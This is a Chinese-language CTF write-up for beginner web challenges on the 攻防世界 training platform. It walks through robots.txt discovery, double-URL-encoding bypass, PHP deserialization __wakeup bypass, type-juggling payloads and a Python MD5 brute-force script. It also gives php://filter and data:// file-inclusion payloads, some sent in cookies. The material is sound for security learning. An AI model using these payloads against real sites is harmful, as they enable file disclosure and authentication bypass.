攻防世界-web-1
Training-WWW-Robots
在URL后面加上/robots.txt
直接在URL后面添加/fl0g.php
PHP2
他问我能不能登录这个网站,又因为考察php内容,在URL后面添加/index.php,无任何回显
试试/index.phps
分析一下代码,发现要用get方式上传id=admin,但是要注意对admin进行两次urldecode编码:%61%64%6D%69%6E、%2561%2564%256D%2569%256E
weak_auth
先随便输入admin;123456(没想到我随便输入的居然是正确的密码和用户名),居然出现了回显
正确的步骤是进行抓包,在进行密码爆破,账号固定为admin(这个就不演示了)
unserialize3
在URL后面添加/?code=111
它说整型的形式不行,思考了一下发现是考的反序列化和序列化
写一段代码得到序列化的字符串
发现执行了反序列化
知识点:当序列化字符串中属性个数大于实际属性个数时,不会执行反序列化,从而跳过wakeup()
baby_web
我发现页面后缀为1.php,提示又说初始页面是哪个,说明页面发生了改变,原页面可能是index.php
先抓个包看看,将1.php改为index.php
再发送到重放器
inget
需要输入ID并尝试绕过某个系统或验证
fileinclude
先抓个包试试,没有看到cookie
根据代码,我们要有cookie才能有下一步,那么我们构造cookie值:Cookie:language
=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php
先对php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php进行url编码,php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fvar%2Fwww%2Fhtml%2Fflag.php
试了下在flag下,于是就有了回显(提示不是说flag在flag.php吗,有点奇怪)
接下来不用说了吧,进行base64解码
unseping
类
ease
结构:
__construct
:初始化method
和args
(方法名和参数数组)。
__destruct
:在对象销毁时,若method
是"ping"
,则调用ping
方法并传入args
。
ping
:直接执行exec($ip, $result)
,并将结果输出(存在命令注入风险)。
waf
:过滤危险字符(如| & ;空格/ cat flag tac php ls
),若匹配到则返回"don't hack"
。
__wakeup
:反序列化时自动调用,遍历args
并调用waf
过滤。反序列化入口:
通过
POST
接收ctf
参数,Base64 解码后反序列化
easyphp
简单分析后,就是要$key1和$key2同时为1,从而触发include "Hgfks.php"并输出$flag
满足$key=1:
要满足以下条件,用科学计数法绕过,则?a=1e9
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)
继续满足以下条件,要求$b的MD5最后6个字符是8b184b
if(isset($b) && '8b184b' === substr(md5($b),-6,6))
编写脚本得到符合条件的$b,输出结果b=53724,则?a=1e9&b=53724
import hashlib
import threadingdef find_md5_suffix(target_suffix="8b184b", max_num=10**8):for i in range(max_num):s = str(i)md5_hash = hashlib.md5(s.encode()).hexdigest()if md5_hash[-6:] == target_suffix:print(f"Found: b = {s} (MD5: {md5_hash})")return sprint("Not found in the given range.")return None# 运行爆破
find_md5_suffix()
满足$key2=1:
先要满足以下条件,$c是JSON解码后的数组,$c["m"]不能是数字且要比2022大,所以可以取$c["m"]为2023a
$c = (array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)
继续满足条件,$c["n"]长度必须为2,$c["n"][0]必须为数组
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))
继续,要在$c["n"]里面找到“DGGJ",但是$val==="DGGJ"不能直接匹配,故$c["n"]里有0(”DGGJ"的弱等效值),则c={"m":"2023a","n":[[],0]}
$d = array_search("DGGJ", $c["n"]);$d === false?die("no..."):NULL;foreach($c["n"] as $key=>$val){$val==="DGGJ"?die("no......"):NULL;}$key2 = 1;
最后的payload:?a=1e9&b=53724&c={"m":"2023a","n":[ [1],0 ]}
fileclude
分析代码,发现file1文件里面要传可以读取flag.php的语句,file2文件1要传入字符串“hello ctf”
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf
file_include
我们访问一下?filename=php://filter/read=convert.base64-encode/resource=./check.php,额不是我要的结果
do not hack!,即需要破解、逆向或绕过某些限制才能拿到 flag。
看看哪里可以绕过?filename=php://filter/read=convert.base64-encode/resource=./check.php
- ./check.php是题目给出的地址,没有绕过的点
- resource是文件读取的必选项,也不行
- filename是文件名,也不行
- php://filter/read是对文件读取的操作,可以替换成php://filter/write(对文件写的操作)、php://filter(对文件读或写的操作)
- =convert.base64-encode是对于编码格式的操作,将读取的内容以base64的格式加密,可以替换成convert.quoted-printable-encode、convert.icon.<input-encoding>、<output-encoding>
综上所述,我们替换格式为:?filename=php://filter/convert.iconv.utf8.utf16/resource=./check.php
有回显证明这个方法是可行的,接着我们在获取flag途径